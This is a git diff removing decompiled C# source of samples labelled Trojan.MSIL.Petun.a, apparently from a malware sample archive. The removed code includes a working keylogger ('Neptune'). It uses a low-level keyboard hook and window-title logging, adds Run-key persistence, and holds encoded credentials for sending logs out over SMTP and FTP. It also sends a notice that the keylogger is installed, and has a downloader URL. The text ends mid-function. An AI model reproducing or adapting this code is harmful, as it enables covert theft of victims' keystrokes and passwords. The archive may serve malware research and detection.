--- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb/My/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: PekalonganCheater, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 434B3E4D-6A7D-41EF-B6A3-D3305878C01F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb/My/MyComputer.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb/My/MyComputer.cs deleted file mode 100644 index 01d43f64..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: PekalonganCheater, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 434B3E4D-6A7D-41EF-B6A3-D3305878C01F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb/My/MyProject.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb/My/MyProject.cs deleted file mode 100644 index 56af377a..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb/My/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: PekalonganCheater, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 434B3E4D-6A7D-41EF-B6A3-D3305878C01F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [HideModuleName] - [StandardModule] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb/ROS.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb/ROS.cs deleted file mode 100644 index ac777217..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb/ROS.cs +++ /dev/null @@ -1,105 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ROS -// Assembly: PekalonganCheater, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 434B3E4D-6A7D-41EF-B6A3-D3305878C01F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using My; -using System; -using System.Windows.Forms; - -[StandardModule] -internal sealed class ROS -{ - public static bool get_Runonstartup(string CommandLine = null, ROS.StartupCheckCriteria Criteria = ROS.StartupCheckCriteria.Either) - { - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\qvEtZijhm", true); - string Right = Strings.Trim(Application.ExecutablePath + " " + CommandLine); - bool runonstartup1; - if (Criteria != ROS.StartupCheckCriteria.NameOnly) - { - string[] valueNames = registryKey.GetValueNames(); - int index = 0; - while (index < valueNames.Length) - { - string str = valueNames[index]; - if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue(str), (object) Right, false)) - { - if (Operators.CompareString(str, MyProject.Application.Info.ProductName, false) != 0) - { - registryKey.DeleteValue(str); - registryKey.SetValue(Application.ProductName, (object) Right); - } - runonstartup1 = true; - break; - } - checked { ++index; } - } - } - bool runonstartup2; - if (Criteria != ROS.StartupCheckCriteria.PathOnly && ROS.InArray((Array) registryKey.GetValueNames(), Application.ProductName)) - { - if (Operators.ConditionalCompareObjectNotEqual(registryKey.GetValue(Application.ProductName), (object) Right, false)) - registryKey.SetValue(Application.ProductName, (object) Right); - runonstartup2 = true; - } - registryKey.Close(); - switch (Criteria) - { - case ROS.StartupCheckCriteria.Either: - return runonstartup1 | runonstartup2; - case ROS.StartupCheckCriteria.PathOnly: - return runonstartup2; - case ROS.StartupCheckCriteria.NameOnly: - return runonstartup1; - case ROS.StartupCheckCriteria.Both: - return runonstartup1 & runonstartup2; - default: - return false; - } - } - - public static void set_Runonstartup( - string CommandLine = null, - ROS.StartupCheckCriteria Criteria = ROS.StartupCheckCriteria.Either, - bool value) - { - RegistryKey registryKey = Operators.CompareString(Module1.SCMSOaqr, "CurrentUser", false) != 0 ? Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true) : Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); - if (value) - registryKey.SetValue(MyProject.Application.Info.ProductName, (object) Strings.Trim(Application.ExecutablePath + " " + CommandLine)); - else if (ROS.InArray((Array) registryKey.GetValueNames(), Application.ProductName)) - registryKey.DeleteValue(Application.ProductName); - registryKey.Close(); - } - - public static bool InArray(Array Arr, string Str) - { - bool flag = false; - int num1 = Information.UBound(Arr); - int num2 = 0; - while (num2 <= num1) - { - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Arr, new object[1] - { - (object) num2 - }, (string[]) null), (object) Str, false)) - { - flag = true; - break; - } - checked { ++num2; } - } - return flag; - } - - public enum StartupCheckCriteria - { - Either, - PathOnly, - NameOnly, - Both, - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb/Trojan.MSIL.Petun.a.csproj b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb/Trojan.MSIL.Petun.a.csproj deleted file mode 100644 index ff0e0c5d..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb/Trojan.MSIL.Petun.a.csproj +++ /dev/null @@ -1,48 +0,0 @@ - - - - - Debug - AnyCPU - {53862DEE-6842-4A33-938D-F3CC9E688877} - WinExe - PekalonganCheater - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb/Trojan.MSIL.Petun.a.sln b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb/Trojan.MSIL.Petun.a.sln deleted file mode 100644 index 57c24007..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb/Trojan.MSIL.Petun.a.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "PekalonganCheater", "Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb.csproj", "{53862DEE-6842-4A33-938D-F3CC9E688877}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {53862DEE-6842-4A33-938D-F3CC9E688877}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {53862DEE-6842-4A33-938D-F3CC9E688877}.Debug|Any CPU.Build.0 = Debug|Any CPU - {53862DEE-6842-4A33-938D-F3CC9E688877}.Release|Any CPU.ActiveCfg = Release|Any CPU - {53862DEE-6842-4A33-938D-F3CC9E688877}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a/AssemblyInfo.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a/Module1.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a/Module1.cs deleted file mode 100644 index 798766be..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a/Module1.cs +++ /dev/null @@ -1,1200 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Module1 -// Assembly: Pictures2, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 8394FEA6-6E58-409F-9038-F138D1DCBBC8 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using My; -using System; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Net; -using System.Net.Mail; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -[StandardModule] -internal sealed class Module1 -{ - private static bool YGuPG = false; - private static bool DqqRa = false; - private static bool YpCqn = false; - private static bool DOUQb = false; - private static bool axeIY = false; - private static bool bHDDB = false; - private static string FfRhk = "5"; - private static string MvrgBri = "AaD"; - private static int pMYmUlX = 1; - private static string vToNTPb = "jIlQ"; - public static string eIXpKdX = "CurrentUser"; - private static string cWdHUTj = "Melt"; - private static string ygiEgky = "xipwNnnDsv"; - private static string ONpWoae = "iexplorer.exe"; - private static string SDDate = "+SDDate+"; - private static bool TakeScrns = false; - private static string[] Message = new string[3] - { - "+MsgFalse+", - "+MsgMsg+", - "+Ico+" - }; - private static string Delay = "+DelOff+"; - private static bool FRMsg = false; - private static bool VrQIEQh = false; - private static string zCiCIQF = "http://www.exampleserver.com/directfile.exe"; - private static bool biNaZp = false; - private static string UFmoJl = "setup.exe"; - private static bool xmHxoCMv = false; - private static bool mFCYuTZVg = true; - private static string vQidTyHIG = "6V66WpswMtBBahtgn6e3Gg=="; - private static string ZpFaOX = "ftp.drivehq.com"; - private static string KBapiSzDX = "TQguUfwDZRo="; - private static string XWxfwimNn = "/Za_Mariia_SU"; - private static string aGdvIvtn = "smtp.gmail.com"; - private static string TklHISpW = "kFpQV+c/QRQp3sBTyOejDl5+7v5hO7arnNg/wvzRntE="; - private static string ytusxjcj = "6t92Y7rIMinibTQXuMA5ug=="; - private static string NpVFBpKz = "example@exampleserver.com"; - private static string yUhvdugk = "587"; - private static string xWcYjnCX = "----[ "; - private static string TmgWCLLK = " ]----"; - private static bool vzCtTiaL; - private static bool pEqdE; - private static bool zmqQq = true; - private static bool hEcUQ = false; - private static bool RaxsW = true; - private static bool YOtDD = true; - private const int KsGff = 257; - private const short XDbsT = 256; - private const int zWGRX = 260; - private const int BDMje = 261; - private static IntPtr KeyboardHandle = (IntPtr) 0; - private static string LastCheckedForegroundTitle = ""; - private static Module1.KeyboardHookDelegate callback = (Module1.KeyboardHookDelegate) null; - private static string rWjiy; - - public static string WWxHTu - { - get => Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); - set - { - } - } - - public static string kvpIqO - { - get => Environment.GetFolderPath(Environment.SpecialFolder.Favorites); - set - { - } - } - - public static string ZnvwGe - { - get => Environment.GetFolderPath(Environment.SpecialFolder.Personal); - set - { - } - } - - public static string KSInij - { - get => Environment.GetFolderPath(Environment.SpecialFolder.System); - set - { - } - } - - public static string Cdcsik - { - get => Environment.GetFolderPath(Environment.SpecialFolder.System).Replace("\\system32", ""); - set - { - } - } - - public static string LT - { - get => Environment.MachineName + " - " + DateTime.Now.ToString().Replace(" ", "-").Replace("/", "-").Replace(":", "."); - set - { - } - } - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CallNextHookEx(int hHook, int nCode, int wParam, Module1.tvnNc lParam); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int bCpmgy(int hHook); - - [DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SetWindowsHookEx( - int idHook, - Module1.KeyboardHookDelegate lpfn, - int hmod, - int dwThreadId); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetAsyncKeyState(int vKey); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetForegroundWindow(); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch); - - private static string Grkr() - { - string str; - try - { - string lpString = new string(char.MinValue, 100); - Module1.GetWindowText(Module1.GetForegroundWindow(), ref lpString, 100); - str = lpString.Substring(0, checked (Strings.InStr(lpString, "\0") - 1)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = ""; - ProjectData.ClearProjectError(); - } - return str; - } - - private static object nfEh() - { - object obj; - try - { - obj = (object) (Module1.KeyboardHandle != (IntPtr) 0); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - obj = (object) ""; - ProjectData.ClearProjectError(); - } - return obj; - } - - public static void wKUE() - { - try - { - Module1.callback = new Module1.KeyboardHookDelegate(Module1.ELem); - Module1.KeyboardHandle = (IntPtr) Module1.SetWindowsHookEx(13, Module1.callback, (int) Process.GetCurrentProcess().MainModule.BaseAddress, 0); - int num = Module1.KeyboardHandle != (IntPtr) 0 ? 1 : 0; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static void vGoocO() - { - try - { - if (!Conversions.ToBoolean(Module1.nfEh()) || Module1.bCpmgy((int) Module1.KeyboardHandle) == 0) - return; - Module1.KeyboardHandle = (IntPtr) 0; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static string stPQ( - ref string strSource, - ref string strStart, - ref string strEnd, - ref int startPos = 0) - { - int length = strStart.Length; - string str = string.Empty; - int num1 = strSource.IndexOf(strStart, startPos); - int num2 = strSource.IndexOf(strEnd, checked (num1 + length)); - if (num1 != -1 && num2 != -1) - str = strSource.Substring(checked (num1 + length), checked (num2 - num1 + length)); - return str; - } - - public static int ELem(int Code, int wParam, ref Module1.tvnNc lParam) - { - int num; - try - { - object obj = (object) Module1.Grkr(); - if (Operators.ConditionalCompareObjectNotEqual(obj, (object) Module1.LastCheckedForegroundTitle, false)) - { - Module1.LastCheckedForegroundTitle = Conversions.ToString(obj); - Module1.rWjiy = Conversions.ToString(Operators.ConcatenateObject((object) Module1.rWjiy, Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("\r\n" + Module1.xWcYjnCX), obj), (object) " - "), (object) DateAndTime.Now.ToString()), (object) Module1.TmgWCLLK), (object) "\r\n"))); - } - string Left = ""; - if (wParam == 256 | wParam == 260) - { - if (Code >= 0 && MyProject.Computer.Keyboard.CtrlKeyDown & MyProject.Computer.Keyboard.AltKeyDown & lParam.vkCode == 83) - { - num = 1; - goto label_130; - } - else - { - switch (lParam.vkCode) - { - case 8: - if (Module1.rWjiy.EndsWith(Module1.TmgWCLLK + "\r\n") | !Module1.hEcUQ) - { - Left = "[BS]"; - break; - } - Module1.rWjiy = Module1.rWjiy.Remove(checked (Module1.rWjiy.ToString().Length - 1)); - Left = ""; - break; - case 9: - Left = "\t"; - break; - case 13: - Left = "\r\n"; - break; - case 20: - if (Module1.zmqQq) - { - Module1.pEqdE = !MyProject.Computer.Keyboard.CapsLock; - break; - } - Left = !MyProject.Computer.Keyboard.CapsLock ? "[cl]" : "[/cl]"; - break; - case 27: - Left = " [esc] "; - break; - case 32: - Left = " "; - break; - case 37: - Left = "[<]"; - break; - case 38: - Left = "[^]"; - break; - case 39: - Left = "[>]"; - break; - case 40: - Left = "[V]"; - break; - case 46: - Left = " [dlt] "; - break; - case 48: - case 49: - case 50: - case 51: - case 52: - case 53: - case 54: - case 55: - case 56: - case 57: - if (Module1.vzCtTiaL) - { - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - if (Operators.CompareString(Left, "1", false) == 0) - { - Left = "!"; - break; - } - if (Operators.CompareString(Left, "2", false) == 0) - { - Left = "@"; - break; - } - if (Operators.CompareString(Left, "3", false) == 0) - { - Left = "#"; - break; - } - if (Operators.CompareString(Left, "4", false) == 0) - { - Left = "$"; - break; - } - if (Operators.CompareString(Left, "5", false) == 0) - { - Left = "%"; - break; - } - if (Operators.CompareString(Left, "6", false) == 0) - { - Left = "^"; - break; - } - if (Operators.CompareString(Left, "7", false) == 0) - { - Left = "&"; - break; - } - if (Operators.CompareString(Left, "8", false) == 0) - { - Left = "*"; - break; - } - if (Operators.CompareString(Left, "9", false) == 0) - { - Left = "("; - break; - } - if (Operators.CompareString(Left, "0", false) == 0) - { - Left = ")"; - break; - } - break; - } - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - break; - case 65: - case 66: - case 67: - case 68: - case 69: - case 70: - case 71: - case 72: - case 73: - case 74: - case 75: - case 76: - case 77: - case 78: - case 79: - case 80: - case 81: - case 82: - case 83: - case 84: - case 85: - case 86: - case 87: - case 88: - case 89: - case 90: - Left = !(Module1.vzCtTiaL | Module1.pEqdE) ? Conversions.ToString(Strings.ChrW(checked (lParam.vkCode + 32))) : Conversions.ToString(Strings.ChrW(checked (lParam.vkCode + 32))).ToUpper(); - break; - case 96: - case 97: - case 98: - case 99: - case 100: - case 101: - case 102: - case 103: - case 104: - case 105: - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - if (Operators.CompareString(Left, "a", false) == 0) - Left = Conversions.ToString(1); - if (Operators.CompareString(Left, "b", false) == 0) - Left = Conversions.ToString(2); - if (Operators.CompareString(Left, "c", false) == 0) - Left = Conversions.ToString(3); - if (Operators.CompareString(Left, "d", false) == 0) - Left = Conversions.ToString(4); - if (Operators.CompareString(Left, "e", false) == 0) - Left = Conversions.ToString(5); - if (Operators.CompareString(Left, "f", false) == 0) - Left = Conversions.ToString(6); - if (Operators.CompareString(Left, "g", false) == 0) - Left = Conversions.ToString(7); - if (Operators.CompareString(Left, "h", false) == 0) - Left = Conversions.ToString(8); - if (Operators.CompareString(Left, "i", false) == 0) - Left = Conversions.ToString(9); - if (Operators.CompareString(Left, "`", false) == 0) - { - Left = Conversions.ToString(0); - break; - } - break; - case 109: - case 189: - Left = !Module1.vzCtTiaL ? "-" : "_"; - break; - case 110: - case 190: - Left = Module1.vzCtTiaL ? ">" : "."; - break; - case 112: - case 113: - case 114: - case 115: - case 116: - case 117: - case 118: - case 119: - case 120: - case 121: - case 122: - case 123: - case 124: - case 125: - case 126: - case (int) sbyte.MaxValue: - case 128: - case 129: - case 130: - case 131: - case 132: - case 133: - case 134: - case 135: - Left = "[F" + Conversions.ToString(checked (lParam.vkCode - 111)) + "]"; - break; - case 160: - case 161: - if (!Module1.zmqQq) - { - Left = " [vzCtTiaL] "; - break; - } - Module1.vzCtTiaL = true; - break; - case 162: - case 163: - Left = " [ctrl] "; - break; - case 164: - Left = " [alt] "; - break; - case 165: - Left = " [ralt] "; - break; - default: - Left = Conversions.ToString(lParam.vkCode); - if (Module1.vzCtTiaL) - { - if (Operators.CompareString(Left, "192", false) == 0) - Left = "~"; - if (Operators.CompareString(Left, "219", false) == 0) - Left = "{"; - if (Operators.CompareString(Left, "221", false) == 0) - Left = "}"; - if (Operators.CompareString(Left, "220", false) == 0) - Left = "|"; - if (Operators.CompareString(Left, "222", false) == 0) - Left = "\""; - if (Operators.CompareString(Left, "186", false) == 0) - Left = ":"; - if (Operators.CompareString(Left, "188", false) == 0) - Left = "<"; - if (Operators.CompareString(Left, "191", false) == 0) - Left = "?"; - if (Operators.CompareString(Left, "187", false) == 0) - Left = "+"; - } - else if (!Module1.vzCtTiaL) - { - if (Operators.CompareString(Left, "192", false) == 0) - Left = "`"; - if (Operators.CompareString(Left, "219", false) == 0) - Left = "["; - if (Operators.CompareString(Left, "221", false) == 0) - Left = "]"; - if (Operators.CompareString(Left, "220", false) == 0) - Left = "\\"; - if (Operators.CompareString(Left, "222", false) == 0) - Left = "'"; - if (Operators.CompareString(Left, "186", false) == 0) - Left = ";"; - if (Operators.CompareString(Left, "188", false) == 0) - Left = ","; - if (Operators.CompareString(Left, "191", false) == 0) - Left = "/"; - if (Operators.CompareString(Left, "187", false) == 0) - Left = "="; - } - if (Operators.CompareString(Left, "107", false) == 0) - Left = "+"; - if (Operators.CompareString(Left, "107", false) == 0) - Left = "*"; - if (Operators.CompareString(Left, "111", false) == 0) - Left = "/"; - if (Operators.CompareString(Left, "44", false) == 0) - { - Left = " [SS] "; - break; - } - break; - } - } - } - else if (wParam == 257 | wParam == 261) - { - switch (lParam.vkCode) - { - case 160: - case 161: - if (!Module1.zmqQq) - Left = "[/vzCtTiaL]"; - Module1.vzCtTiaL = false; - break; - case 162: - case 163: - Left = "[/ctrl]"; - break; - case 164: - Left = "[/lalt]"; - break; - case 165: - Left = "[/ralt]"; - break; - } - } - Module1.rWjiy += Left; - if (Operators.CompareString(Left, "", false) == 0) - ; - num = Module1.CallNextHookEx((int) Module1.KeyboardHandle, Code, wParam, lParam); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - num = Conversions.ToInteger(""); - ProjectData.ClearProjectError(); - } -label_130: - return num; - } - - [STAThread] - public static void Main() - { - if (!Module1.SDDate.Contains("SDDate+") && DateTime.Compare(DateAndTime.Today.Date, Conversions.ToDate(Module1.SDDate)) == 0) - Module1.vRFOlg(); - if (!Module1.Delay.Contains("DelOff+")) - Module1.yfnomr(Conversions.ToInteger(Module1.Delay)); - string mvrgBri = Module1.MvrgBri; - Module1.MvrgBri = Operators.CompareString(mvrgBri, "AaD", false) != 0 ? (Operators.CompareString(mvrgBri, "FaF", false) != 0 ? (Operators.CompareString(mvrgBri, "MaD", false) != 0 ? (Operators.CompareString(mvrgBri, "SaF", false) != 0 ? (Operators.CompareString(mvrgBri, "WaF", false) != 0 ? Module1.MvrgBri : Module1.Cdcsik) : Module1.KSInij) : Module1.ZnvwGe) : Module1.kvpIqO) : Module1.WWxHTu; - Module1.TklHISpW = Module1.TripleDESDecode(Module1.TklHISpW, "System.Net"); - Module1.ytusxjcj = Module1.TripleDESDecode(Module1.ytusxjcj, "System.Net"); - Module1.vQidTyHIG = Module1.TripleDESDecode(Module1.vQidTyHIG, "System.Net"); - Module1.KBapiSzDX = Module1.TripleDESDecode(Module1.KBapiSzDX, "System.Net"); - Module1.ONpWoae = "\\" + Module1.ONpWoae; - if (Operators.CompareString(Application.StartupPath, Module1.MvrgBri, false) != 0) - { - if (!Module1.Message[0].Contains("MsgFalse+")) - { - MessageBoxIcon messageBoxIcon = new MessageBoxIcon(); - MessageBoxIcon integer = (MessageBoxIcon) Conversions.ToInteger(Module1.Message[2]); - int num = (int) MessageBox.Show(Module1.Message[1], Module1.Message[0], MessageBoxButtons.OK, integer); - } - if (System.IO.File.Exists(Module1.MvrgBri + Module1.ONpWoae)) - ProjectData.EndApp(); - if (Module1.FRMsg) - { - string str1; - if (Module1.xmHxoCMv) - { - ref string local1 = ref Module1.aGdvIvtn; - ref string local2 = ref Module1.TklHISpW; - ref string local3 = ref Module1.ytusxjcj; - ref string local4 = ref Module1.NpVFBpKz; - string str2 = "[First Run] Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str2; - str1 = "Hello, this is an email letting you know that your keylogger has been freshly installed on the computer in the title. Thank you."; - ref string local6 = ref str1; - int integer = Conversions.ToInteger(Module1.yUhvdugk); - ref int local7 = ref integer; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7); - Module1.yUhvdugk = Conversions.ToString(integer); - } - if (Module1.mFCYuTZVg) - { - ref string local8 = ref Module1.ZpFaOX; - ref string local9 